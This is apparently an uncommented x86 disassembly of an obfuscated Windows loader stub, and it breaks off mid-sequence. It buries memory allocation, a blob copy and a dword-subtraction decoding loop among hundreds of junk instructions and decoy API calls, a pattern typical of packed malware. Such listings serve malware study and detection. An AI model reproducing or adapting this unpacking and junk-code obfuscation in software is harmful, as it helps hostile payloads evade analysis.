push 0x1000
push 0x11000
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov edx, dword [ebp]
lea esi, [esp]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], esi
mov edx, dword [ebp]
mov edx, dword [ebp]
mov ecx, edi
lea edi, [ebp]
mov edi, edx
mov dword [ebp - 0x2c], eax
xor dword [ebp - 0x2c], 0x111111
mov edx, dword [ebp - 0x34]
mov si, 2
sub dword [ebp - 0x30], 0xcc00cc
or dword [ebp - 0x30], 0x8888
mov dword [ebp - 0x34], esi
and dword [ebp - 0x2c], 0x44000044
sub edi, edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], edi
and dword [ebp - 0x30], 0xbbbb00bb
mov dword [ebp - 0x30], 0x28
mov di, 0x70
and dword [ebp - 0x30], 0x55005555
mov eax, 0x14
mov edi, dword [ebp - 0x2c]
and dword [ebp - 0x30], 0x440044
and dword [ebp - 0x2c], 0x66
mov esi, 0x80
sub edi, edi
lea ecx, [ebp]
mov dword [ebp - 0x30], edi
mov ecx, 0
or dword [ebp - 0x34], 0xffffff
mov dword [ebp - 0x2c], ecx
cmp ecx, 0xa8c
je 0x405c60
xor eax, eax
mov eax, 0x10
mov eax, pe_nt_image_headers32
sub eax, eax
mov dword [ebp - 0x2c], ecx
push 2
push 0x8000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x2c], edi
mov ecx, edi
lea edx, [ebp]
lea ecx, [ebp - 0x2c]
mov eax, 0x20
mov edi, dword [ebp]
lea edi, [ebp - 0x34]
lea ecx, [esp]
mov dword [ebp - 0x30], 0x89
mov eax, 2
mov dword [ebp - 0x30], 0xa4
mov cx, 2
lea ecx, [ebp]
mov dword [ebp - 0x34], edi
mov edx, dword [esp]
add dword [ebp - 0x2c], 0xbb00bbbb
or dword [ebp - 0x30], 0xdd0000dd
xor esi, esi
and dword [ebp - 0x2c], 0xee
mov esi, dword [ebp - 0x34]
mov edx, eax
xor edi, edi
or dword [ebp - 0x30], 0xeeeeeeee
or dword [ebp - 0x34], 0x99999999
mov edx, dword [esp]
lea esi, [ebp]
mov edx, 2
lea eax, [ebp - 0x2c]
lea esi, [ebp]
mov eax, dword [ebp]
xor dword [ebp - 0x2c], 0x99990099
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp]
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov eax, 0x55
mov esi, 8
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
lea edx, [esp]
xor dword [ebp - 0x2c], 0x22222222
lea eax, [ebp - 0x2c]
or dword [ebp - 0x30], 0xdd00dd
sub dword [ebp - 0x34], 0x330033
add dword [ebp - 0x30], 0xeeeeee
lea edx, [ebp]
or dword [ebp - 0x30], 0xbb0000bb
mov dword [ebp - 0x34], edx
or dword [ebp - 0x30], 0xdddd00dd
sub dword [ebp - 0x30], 0x666666
lea edi, [esp]
mov ecx, 8
mov edi, dword [ebp]
xor edx, edx
lea edi, [ebp]
lea eax, [ebp]
mov dword [ebp - 0x30], 0xf9
mov dword [ebp - 0x2c], 0x10
lea esi, [esp]
and dword [ebp - 0x34], 0xdddddddd
mov edi, 8
mov edx, 0x300
mov eax, dword [ebp - 0x2c]
or dword [ebp - 0x30], 0xffffff
push 4
push 0x8000
push 0xe00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea eax, [esp]
mov esi, dword [ebp - 0x34]
mov edx, eax
lea edi, [ebp]
mov esi, edi
mov dx, 0xec
mov eax, dword [ebp - 0x34]
mov edx, edi
xor edi, edi
mov eax, esi
add dword [ebp - 0x2c], 0xdddddddd
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp]
xor edi, edi
xor dword [ebp - 0x2c], 0xdddddddd
lea eax, [esp]
sub esi, esi
xor edi, edi
and dword [ebp - 0x2c], 0xaaaaaa
mov dx, 0x99
xor dword [ebp - 0x2c], 0x88880088
mov ecx, dword [ebp]
and dword [ebp - 0x2c], 0xeeee
mov di, 0x32
sub eax, eax
and dword [ebp - 0x2c], 0x55005555
xor ecx, ecx
and dword [ebp - 0x2c], 0x110011
mov ecx, dword [esp]
mov edi, 0xf1
xor dword [ebp - 0x30], 0x5555
mov edx, eax
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea eax, [ebp]
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x34]
lea edi, [ebp - 0x30]
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp]
mov esi, eax
lea esi, [esp]
mov esi, 0x20
mov ecx, eax
mov ecx, dword [esp]
add dword [ebp - 0x30], 0x11
mov eax, dword [ebp - 0x30]
xor dword [ebp - 0x30], 0x1111
lea edi, [ebp]
lea edi, [ebp]
lea edi, [esp]
mov eax, dword [esp]
and dword [ebp - 0x2c], 0xdddd
lea ecx, [ebp - 0x34]
lea edi, [ebp]
mov dword [ebp - 0x30], eax
sub dword [ebp - 0x30], 0xdddddd
mov esi, dword [ebp - 0x2c]
mov edi, 0xf2
mov edi, 0x66
mov edi, dword [ebp]
mov edx, dword [ebp - 0x34]
xor edx, edx
mov ecx, edx
and dword [ebp - 0x30], 0xcccccccc
xor dword [ebp - 0x34], 0xaaaaaaaa
mov edi, dword [esp]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x2c]
xor dword [ebp - 0x34], 0xff00ff
sub dword [ebp - 0x34], 0x10
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], ecx
sub dword [ebp - 0x34], 0x37
mov dword [ebp - 0x2c], 1
push 4
push 0x4000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, 8
lea edx, [ebp - 0x2c]
mov cx, 0x80
lea eax, [esp]
mov di, 0x38
lea edx, [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov edx, 1
and dword [ebp - 0x30], 0x77
lea esi, [ebp - 0x2c]
or dword [ebp - 0x30], 0x222222
and dword [ebp - 0x30], 0x44000044
mov dword [ebp - 0x30], ecx
sub esi, esi
mov dword [ebp - 0x34], edi
mov di, 1
or dword [ebp - 0x30], 0xcccccccc
mov esi, dword [ebp]
mov eax, edi
mov dword [ebp - 0x34], 0xae
mov ecx, dword [ebp - 0x30]
lea eax, [ebp]
mov di, 0xe9
mov dword [ebp - 0x2c], esi
xor dword [ebp - 0x34], 0x88
mov dword [ebp - 0x30], 0x80
mov edi, dword [ebp]
add dword [ebp - 0x2c], 0x444444
mov ecx, 0x300
xor ecx, ecx
add dword [ebp - 0x30], 4
mov cx, 0x40
cmp ecx, 0xa14
jne 0x405f6d
mov edx, 0xc8
mov dword [ebp - 0x34], ecx
mov dx, 2
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea eax, [esp]
mov ax, 0x55
mov edx, dword [ebp - 0x2c]
lea edx, [esp]
lea esi, [esp]
mov edi, 8
mov edi, esi
mov ecx, dword [ebp]
lea edi, [esp]
sub edx, edx
mov dword [ebp - 0x34], esi
lea edx, [ebp]
sub dword [ebp - 0x34], 0xeeee
sub esi, esi
lea eax, [ebp - 0x2c]
lea eax, [esp]
lea edi, [ebp]
and dword [ebp - 0x2c], 0x11
mov edx, eax
add dword [ebp - 0x34], 0x77000077
or dword [ebp - 0x2c], 0x660066
mov ecx, dword [ebp - 0x30]
lea edi, [ebp - 0x2c]
or dword [ebp - 0x2c], 0x9999
lea edi, [ebp - 0x30]
mov edx, ecx
mov edi, dword [ebp]
mov dword [ebp - 0x34], 0x80
and dword [ebp - 0x30], 0x88
xor edi, edi
and dword [ebp - 0x2c], 0x77777777
mov edx, 0x200
cmp edx, 0
ja 0x40600f
sub eax, eax
xor eax, eax
and dword [ebp - 0x34], 0xff
cmp dword [ebp - 0x2c], eax
jne 0x40600f
mov dword [ebp - 0x2c], edx
push 2
push 0x2000
push 0x300
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea edx, [ebp]
mov edi, dword [ebp]
mov dword [ebp - 0x30], edi
lea edi, [ebp - 0x30]
lea eax, [ebp - 0x2c]
lea ecx, [ebp]
mov ax, 0x80
lea edi, [ebp - 0x2c]
add dword [ebp - 0x30], 0xffff00ff
mov ecx, dword [ebp - 0x30]
and dword [ebp - 0x30], 0x440044
mov edi, 1
and dword [ebp - 0x30], 0xcccc00cc
mov eax, dword [esp]
lea ecx, [ebp]
and dword [ebp - 0x34], 0x8888
mov ecx, 0x80
add dword [ebp - 0x34], 0x444444
and dword [ebp - 0x34], 0x550055
lea edx, [esp]
mov di, 0x24
xor edx, edx
xor dword [ebp - 0x2c], 0x33000033
mov edi, dword [esp]
xor dword [ebp - 0x34], 0x55550055
mov ax, 0xe2
mov dword [ebp - 0x34], eax
and dword [ebp - 0x2c], 0xeeeeeeee
and dword [ebp - 0x34], 0xbb
lea edi, [ebp]
or dword [ebp - 0x2c], 0xee
lea edx, [ebp]
mov edi, 0xbb
mov dword [ebp - 0x30], ecx
mov ecx, 0x12c
and dword [ebp - 0x34], 0xff00ff
sub eax, eax
or dword [ebp - 0x2c], 0xff
and dword [ebp - 0x34], 0xff
cmp dword [ebp - 0x2c], ecx
ja 0x4060e6
sub eax, eax
sub dword [ebp - 0x30], 1
xor ecx, ecx
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
add esi, 0x446f15
mov ecx, 0xdec
rep movsb byte es:[edi], byte [esi]
push 8
push 0x2000
push 0xd00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, edx
lea edx, [ebp - 0x30]
mov di, 1
mov ax, 0x83
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x30], eax
lea edi, [ebp]
lea edi, [ebp]
mov dword [ebp - 0x34], 0x10
mov dword [ebp - 0x30], edi
xor esi, esi
or dword [ebp - 0x2c], 0x5555
sub dword [ebp - 0x34], 0x666666
mov dword [ebp - 0x34], 0xab
mov edx, dword [ebp - 0x2c]
xor dword [ebp - 0x30], 0xeeeeee
sub ecx, ecx
lea edx, [ebp - 0x30]
xor ecx, ecx
mov edx, 0x4b
sub dword [ebp - 0x30], 0xdddd
mov edi, dword [ebp]
xor edi, edi
and dword [ebp - 0x2c], 0xdddddddd
mov eax, 0x40
mov dword [ebp - 0x34], 0x40
mov edi, 0x98
lea edi, [esp]
sub dword [ebp - 0x34], 0x11110011
mov edi, dword [ebp]
mov eax, dword [esp]
mov esi, 6
xor ecx, ecx
sub dword [ebp - 0x34], 0x11111111
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], 0xd
sub dword [ebp - 0x30], 0x51
cmp edx, 0x85
jbe 0x4061cc
mov ecx, 0
xor dword [ebp - 0x2c], 0xffff
and dword [ebp - 0x2c], 0xffffff
sub edx, edx
sub edx, edx
xor edx, edx
add dword [ebp - 0x34], 4
sub edx, edx
push 2
push 0x2000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], edx
lea esi, [esp]
mov cx, 9
mov eax, esi
lea esi, [ebp]
mov di, 0x20
lea edi, [esp]
lea edi, [ebp]
lea edx, [esp]
add dword [ebp - 0x2c], 0x66
mov dword [ebp - 0x30], eax
mov esi, dword [ebp - 0x2c]
mov edi, dword [esp]
and dword [ebp - 0x30], 0x5555
xor dword [ebp - 0x30], 0x66
or dword [ebp - 0x30], 0x55005555
xor edx, edx
mov dword [ebp - 0x30], 0x60
mov dword [ebp - 0x2c], ecx
xor edi, edi
sub edx, edx
xor eax, eax
and dword [ebp - 0x2c], 0x88008888
and dword [ebp - 0x30], 0x550055
mov edx, 0x3a
sub dword [ebp - 0x34], 0x88008888
mov di, 0x40
xor ecx, ecx
cmp ecx, 0xee0
ja 0x406265
lea ecx, [ebp - 0x30]
sub edx, edx
lea edx, [ebp - 0x2c]
and dword [ebp - 0x34], 0xff
lea edx, [ebp - 0x34]
push 8
push 0x4000
push 0xa00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x2c], edx
mov edi, edx
mov dword [ebp - 0x30], esi
mov esi, dword [ebp - 0x30]
mov ecx, 0x40
and dword [ebp - 0x30], 0xbbbb
mov dword [ebp - 0x2c], 0x40
add dword [ebp - 0x34], 0x99009999
or dword [ebp - 0x2c], 0x1111
mov esi, ecx
xor edi, edi
add dword [ebp - 0x2c], 0x99990099
mov edi, edx
mov edi, eax
mov ecx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x34]
mov eax, 0x20
xor dword [ebp - 0x30], 0x6666
lea edi, [esp]
mov dword [ebp - 0x30], edx
lea esi, [ebp]
lea edi, [ebp]
and dword [ebp - 0x2c], 0xeeeeee
lea eax, [esp]
mov dword [ebp - 0x34], ecx
and dword [ebp - 0x34], 0x33333333
and dword [ebp - 0x2c], 0x8888
lea edx, [ebp]
lea eax, [esp]
mov edx, 0x300
and dword [ebp - 0x30], 0xffffff
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
or dword [ebp - 0x34], 0xff
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea eax, [ebp]
lea edi, [esp]
mov ecx, 0xde
lea ecx, [ebp]
lea edi, [ebp - 0x34]
mov edi, dword [esp]
mov edx, 2
mov edi, 0x58
mov edi, eax
lea edx, [ebp]
and dword [ebp - 0x30], 0x880088
sub dword [ebp - 0x2c], 0x8888
xor dword [ebp - 0x30], 0x66666666
mov ecx, esi
lea ecx, [ebp - 0x34]
and dword [ebp - 0x2c], 0x33333333
or dword [ebp - 0x34], 0xff
and dword [ebp - 0x2c], 0x33333333
xor dword [ebp - 0x30], 0xee00eeee
or dword [ebp - 0x2c], 0xdddd
mov edx, 8
mov esi, eax
lea edx, [ebp - 0x2c]
sub ecx, ecx
mov di, 8
add dword [ebp - 0x34], 0xee
mov ecx, 0x67
and dword [ebp - 0x30], 0x33003333
mov ecx, 8
mov edi, dword [ebp]
and dword [ebp - 0x2c], 0x88
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov dword [ebp - 0x30], eax
lea ecx, [ebp]
lea edi, [esp]
mov eax, dword [ebp]
mov ecx, eax
mov esi, edx
mov edi, dword [ebp]
mov edx, dword [ebp]
mov edi, 0x80
mov edi, dword [ebp - 0x34]
lea edi, [ebp - 0x34]
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x2c], 0x4d
or dword [ebp - 0x30], 0x88
sub dword [ebp - 0x34], 0x22000022
xor dword [ebp - 0x30], 0x88000088
mov edi, dword [ebp]
sub dword [ebp - 0x2c], 0xffffffff
add dword [ebp - 0x2c], 0xdddddddd
add dword [ebp - 0x34], 0x11
lea edx, [ebp - 0x34]
mov edx, dword [esp]
sub dword [ebp - 0x34], 0x99990099
mov ecx, eax
xor dword [ebp - 0x2c], 0xbb00bbbb
xor dword [ebp - 0x30], 0xff0000ff
and dword [ebp - 0x30], 0xffffff
xor ecx, ecx
lea eax, [ebp - 0x2c]
xor esi, esi
mov ecx, dword [esp]
mov edi, dword [esp]
mov ecx, dword [ebp - 0x34]
mov ecx, 0x32
xor dword [ebp - 0x30], 0xff
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x34], 0xff
mov ecx, 0x22
push 2
push 0x4000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, eax
lea esi, [ebp]
mov esi, 0x2c
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], ecx
lea eax, [ebp - 0x34]
lea ecx, [esp]
lea edi, [ebp - 0x34]
and dword [ebp - 0x30], 0x6666
lea edx, [ebp]
xor dword [ebp - 0x30], 0x55005555
lea edi, [ebp]
mov ecx, edi
xor dword [ebp - 0x2c], 0xff0000ff
xor esi, esi
lea eax, [ebp - 0x30]
add dword [ebp - 0x2c], 0x440044
lea edx, [ebp - 0x30]
xor dword [ebp - 0x30], 0xdd
mov dx, 0x40
add dword [ebp - 0x2c], 0x555555
xor eax, eax
mov eax, dword [ebp - 0x2c]
mov eax, edi
and dword [ebp - 0x34], 0xeeee00ee
mov edx, 0x20
mov dx, 1
lea edx, [ebp]
mov esi, dword [esp]
lea edi, [esp]
xor dword [ebp - 0x34], 0xdd00dd
xor eax, eax
xor dword [ebp - 0x30], 0xffffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x34], eax
ja 0x406520
lea eax, [ebp - 0x34]
xor eax, eax
and dword [ebp - 0x34], 0xff00ff
sub ecx, ecx
sub dword [ebp - 0x30], 0x40
lea eax, [ebp - 0x30]
xor ecx, ecx
mov ecx, 8
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea edi, [ebp]
mov ax, 0x40
mov esi, dword [ebp]
mov ecx, 0x40
mov dword [ebp - 0x30], eax
lea edx, [esp]
lea eax, [esp]
mov edi, esi
mov edi, dword [esp]
sub dword [ebp - 0x34], 0x33003333
or dword [ebp - 0x2c], 0x777777
xor dword [ebp - 0x2c], 0xbb00bb
xor dword [ebp - 0x2c], 0x88880088
mov edi, 0xbf
mov edx, 0x49
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x2c], 0x33
lea edi, [esp]
mov dword [ebp - 0x2c], 4
or dword [ebp - 0x30], 0x88
lea eax, [esp]
sub edi, edi
xor dword [ebp - 0x30], 0x3333
mov esi, ecx
xor dword [ebp - 0x2c], 0xaaaaaa
and dword [ebp - 0x30], 0x99999999
mov edi, eax
mov eax, dword [esp]
lea edi, [ebp - 0x2c]
mov dx, 4
xor edi, edi
mov eax, dword [ebp - 0x2c]
cmp eax, 0x1a
ja 0x4065cb
mov ecx, 0
and dword [ebp - 0x30], 0xffff
cmp dword [ebp - 0x30], eax
jbe 0x4065cb
and dword [ebp - 0x34], 0xff00ff
push 2
push 0x4000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea edi, [ebp]
mov esi, dword [esp]
mov edi, dword [ebp - 0x2c]
lea edi, [esp]
mov edx, dword [esp]
mov ecx, 0x40
mov ecx, dword [esp]
mov dword [ebp - 0x30], eax
sub eax, eax
sub eax, eax
mov esi, 0x87
mov ecx, dword [ebp]
add dword [ebp - 0x30], 0x44000044
or dword [ebp - 0x34], 0x7777
lea edi, [ebp]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], 0x10
mov edx, edi
xor dword [ebp - 0x34], 0x99000099
mov eax, ecx
sub dword [ebp - 0x30], 0xbb0000bb
and dword [ebp - 0x30], 0xbbbb
or dword [ebp - 0x34], 0x11110011
sub edi, edi
mov edi, edx
mov edx, dword [esp]
and dword [ebp - 0x2c], 0xeeeeeeee
add dword [ebp - 0x2c], 0x66666666
lea esi, [esp]
add dword [ebp - 0x30], 0x7777
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], 0x40
and dword [ebp - 0x30], 0x444444
sub edx, edx
xor dword [ebp - 0x2c], 0xff00ff
mov ecx, 0x12c
or dword [ebp - 0x30], 0xffffff
mov esi, dword [ebp - 0x18]
sub eax, eax
cmp dword [ebp - 0x34], eax
jne 0x4066a3
xor edx, edx
xor edx, edx
xor edx, edx
mov dword [ebp - 0x30], 0x78
mov edi, 0x1000
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x2c], 2
cmp eax, 0
jae 0x4066ca
add dword [ebp - 0x2c], 1
mov edx, 0x10
sub edx, edx
mov dword [ebp - 0x2c], 0x7a
sub dword [ebp - 0x2c], 0x7b
mov ecx, dword [esi]
sub ecx, 0xf64631ac
mov dword [esi], ecx
mov ecx, dword [ebp - 0x30]
xor ecx, ecx
add dword [ebp - 0x2c], 8
test ecx, ecx
je 0x4066ef
sub edx, edx
and dword [ebp - 0x30], 0xff
cmp dword [ebp - 0x2c], edx
je 0x4066ef
sub esi, 0xfffffffc
sub edi, 1
cmp edi, 0
jne 0x4066ca
push 2
push 0x8000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x34], ecx
mov cx, 0x80
mov edx, dword [ebp - 0x2c]
mov eax, 0x20
mov cx, 0x10
mov edi, dword [esp]
mov dword [ebp - 0x2c], edi
mov eax, dword [esp]
sub dword [ebp - 0x34], 0x550055
mov eax, 8
lea edi, [ebp - 0x2c]
add dword [ebp - 0x2c], 0x44004444
or dword [ebp - 0x2c], 0xdddddddd
mov edi, dword [esp]
lea edx, [ebp - 0x2c]
mov edi, 0x46
mov ecx, edi
or dword [ebp - 0x30], 0xee0000ee
mov edi, 0x10
lea eax, [ebp - 0x30]
mov edi, dword [ebp]
xor esi, esi
mov esi, 0x26
lea ecx, [esp]
lea edx, [ebp]
mov dword [ebp - 0x2c], 0xc3
sub edi, edi
lea esi, [ebp - 0x2c]
sub ecx, ecx
sub dword [ebp - 0x2c], 0x55005555
push 8
push 0x4000
push 0xf00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea esi, [esp]
mov edi, dword [esp]
mov edi, dword [ebp - 0x34]
mov edx, 4
lea edi, [esp]
mov eax, dword [esp]
lea edi, [ebp - 0x30]
lea ecx, [ebp - 0x30]
mov edx, dword [ebp - 0x34]
mov edx, dword [esp]
sub dword [ebp - 0x34], 0x111111
add dword [ebp - 0x34], 0x222222
xor dword [ebp - 0x30], 0xaaaa
mov eax, dword [ebp]
mov ecx, edx
mov ecx, dword [ebp]
sub dword [ebp - 0x34], 0x66660066
or dword [ebp - 0x34], 0x88888888
mov ecx, 0xd3
lea esi, [ebp - 0x2c]
and dword [ebp - 0x2c], 0xbb00bbbb
mov dword [ebp - 0x30], 0x79
mov edx, dword [ebp]
lea esi, [ebp]
and dword [ebp - 0x30], 0x88
and dword [ebp - 0x2c], 0x550055
mov dword [ebp - 0x30], 0xe4
mov eax, dword [ebp]
and dword [ebp - 0x2c], 0x22
sub edx, edx
sub dword [ebp - 0x2c], 0xaaaaaa
mov dword [ebp - 0x34], 8
push 2
push 0x8000
push 0x300
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, dword [ebp - 0x34]
lea edi, [ebp]
lea edi, [ebp - 0x34]
mov cx, 0xcd
mov edx, dword [esp]
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x34], esi
lea edx, [ebp]
xor dword [ebp - 0x2c], 0xbb00bbbb
mov ecx, 8
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], edx
mov ecx, dword [ebp - 0x2c]
lea edx, [ebp]
mov dword [ebp - 0x30], 1
and dword [ebp - 0x2c], 0x88
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
and dword [ebp - 0x30], 0x999999
mov edi, dword [esp]
and dword [ebp - 0x30], 0xee00ee
sub dword [ebp - 0x30], 0x770077
mov dword [ebp - 0x34], 0x2d
mov edi, 0x10
sub dword [ebp - 0x30], 0x111111
mov esi, dword [ebp]
mov dword [ebp - 0x30], 0x20
and dword [ebp - 0x34], 0xcc00cccc
and dword [ebp - 0x34], 0x111111
or dword [ebp - 0x34], 0x11
sub edi, edi
mov ecx, edi
mov dword [ebp - 0x34], edi
mov edx, 0x200
mov dword [ebp - 0x2c], edx
add dword [ebp - 0x30], 8
add dword [ebp - 0x2c], 0x40
xor edx, edx
sub edx, edx
cmp edx, dword [ebp - 0x30]
jae 0x4068f4
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov eax, dword [ebp - 0x2c]
mov eax, 0x10
lea ecx, [ebp]
mov edx, dword [ebp]
mov dword [ebp - 0x30], edi
lea edi, [esp]
lea edx, [esp]
mov edi, dword [ebp]
lea esi, [ebp - 0x2c]
mov edi, ecx
xor dword [ebp - 0x2c], 0x99000099
mov ecx, 4
or dword [ebp - 0x2c], 0xdd00dd
mov cx, 0x73
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x34]
mov edi, dword [ebp]
xor edx, edx
and dword [ebp - 0x34], 0xaa0000aa
lea ecx, [esp]
mov dword [ebp - 0x2c], edi
xor edx, edx
add dword [ebp - 0x2c], 0xffff00ff
mov eax, esi
xor edi, edi
mov dword [ebp - 0x34], ecx
mov edx, 0x40
mov esi, 0x62
lea edi, [esp]
mov esi, dword [ebp - 0x2c]
mov esi, dword [ebp]
sub dword [ebp - 0x34], 0x111111
mov dword [ebp - 0x34], edi
and dword [ebp - 0x34], 0xffffff
mov edx, 0xc8
mov edx, 0x23
xor edx, edx
mov dx, 0x6a
cmp edx, 0
ja 0x40699b
sub eax, eax
lea eax, [ebp - 0x30]
cmp edx, 0
jb 0x40699b
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea esi, [esp]
mov si, 0x80
mov di, 0x80
lea esi, [ebp - 0x2c]
mov edi, esi
lea eax, [ebp]
mov esi, 0xec
lea esi, [esp]
mov edi, ecx
lea esi, [ebp]
lea ecx, [esp]
mov ecx, dword [esp]
mov dword [ebp - 0x34], 0x80
mov dword [ebp - 0x2c], eax
lea esi, [ebp - 0x2c]
xor esi, esi
add dword [ebp - 0x34], 0xcccccccc
xor dword [ebp - 0x2c], 0x99009999
lea edx, [esp]
mov eax, dword [ebp - 0x34]
mov eax, edi
xor esi, esi
mov dword [ebp - 0x2c], 0x74
mov dword [ebp - 0x30], edi
lea edx, [esp]
sub ecx, ecx
mov edx, 4
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov esi, 0xffffe75e
not esi
cmp eax, esi
jne 0x406efd
sub edx, edx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0x6a
mov edx, 0x26
and dword [ebp - 0x2c], 0xff
sub dword [ebp - 0x2c], 8
xor edx, edx
mov eax, 0
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
xor eax, eax
cmp eax, 0
je 0x406a58
sub edx, edx
mov edx, 1
cmp eax, 0
jbe 0x406a58
sub dword [ebp - 0x2c], 2
push 4
push 0x2000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, dword [esp]
mov esi, dword [esp]
lea edi, [esp]
lea esi, [ebp]
mov edi, dword [esp]
mov ecx, dword [ebp]
mov ecx, dword [esp]
mov eax, dword [ebp]
mov dword [ebp - 0x30], 0x97
and dword [ebp - 0x34], 0x55000055
mov dword [ebp - 0x34], esi
mov edi, dword [esp]
mov esi, 0x34
mov dword [ebp - 0x2c], edi
and dword [ebp - 0x30], 0xbbbb
and dword [ebp - 0x30], 0xee0000ee
mov edi, ecx
sub esi, esi
sub dword [ebp - 0x34], 0x3333
or dword [ebp - 0x2c], 0x88000088
or dword [ebp - 0x2c], 0x3333
lea esi, [ebp]
mov edi, dword [ebp]
or dword [ebp - 0x2c], 0x33000033
mov dword [ebp - 0x30], ecx
lea edi, [ebp]
mov esi, 0x5e
xor dword [ebp - 0x2c], 0xcc0000cc
mov ecx, dword [esp]
mov edx, pe_nt_image_headers32
cmp edx, 0
jbe 0x406b04
mov eax, 0
sub dword [ebp - 0x34], 0x67
test eax, eax
jne 0x406b04
lea edx, [ebp - 0x2c]
xor dword [ebp - 0x34], 0xff
mov eax, 0
mov edx, 0
mov dword [ebp - 0x2c], 0x76
or dword [ebp - 0x30], 0xffffff
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov ecx, dword [esp]
lea ecx, [ebp - 0x2c]
mov esi, edi
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov di, 8
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], edx
xor edi, edi
lea esi, [ebp]
add dword [ebp - 0x2c], 0x440044
mov dx, 2
sub esi, esi
and dword [ebp - 0x30], 0x99000099
mov dword [ebp - 0x34], 0x5c
sub dword [ebp - 0x34], 0xbbbbbb
mov dword [ebp - 0x2c], 0x50
lea eax, [ebp]
xor edi, edi
or dword [ebp - 0x34], 0x99009999
mov edi, dword [ebp]
mov cx, 0x10
mov dword [ebp - 0x2c], 0x80
xor dword [ebp - 0x30], 0x44
and dword [ebp - 0x30], 0x555555
sub dword [ebp - 0x30], 0x99999999
xor dword [ebp - 0x30], 0xffff00ff
mov edi, dword [ebp - 0x2c]
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea edx, [esp]
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x30]
mov si, 1
mov edi, esi
lea edx, [ebp - 0x2c]
lea eax, [esp]
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x30], 4
xor dword [ebp - 0x30], 0xaa
lea edi, [ebp]
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x34]
or dword [ebp - 0x34], 0x55550055
add dword [ebp - 0x34], 0x22002222
mov ecx, 0xb7
mov cx, 0x20
xor edx, edx
xor eax, eax
lea ecx, [ebp - 0x34]
and dword [ebp - 0x30], 0xaaaa00aa
mov ecx, esi
or dword [ebp - 0x2c], 0xbb
sub dword [ebp - 0x34], 0xee00ee
mov dword [ebp - 0x2c], edi
and dword [ebp - 0x2c], 0x444444
add dword [ebp - 0x30], 0xdddddd
and dword [ebp - 0x34], 0x7777
mov edi, dword [esp]
mov edi, dword [esp]
xor dword [ebp - 0x34], 0xffffffff
xor ecx, ecx
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x34], 0x78
push 2
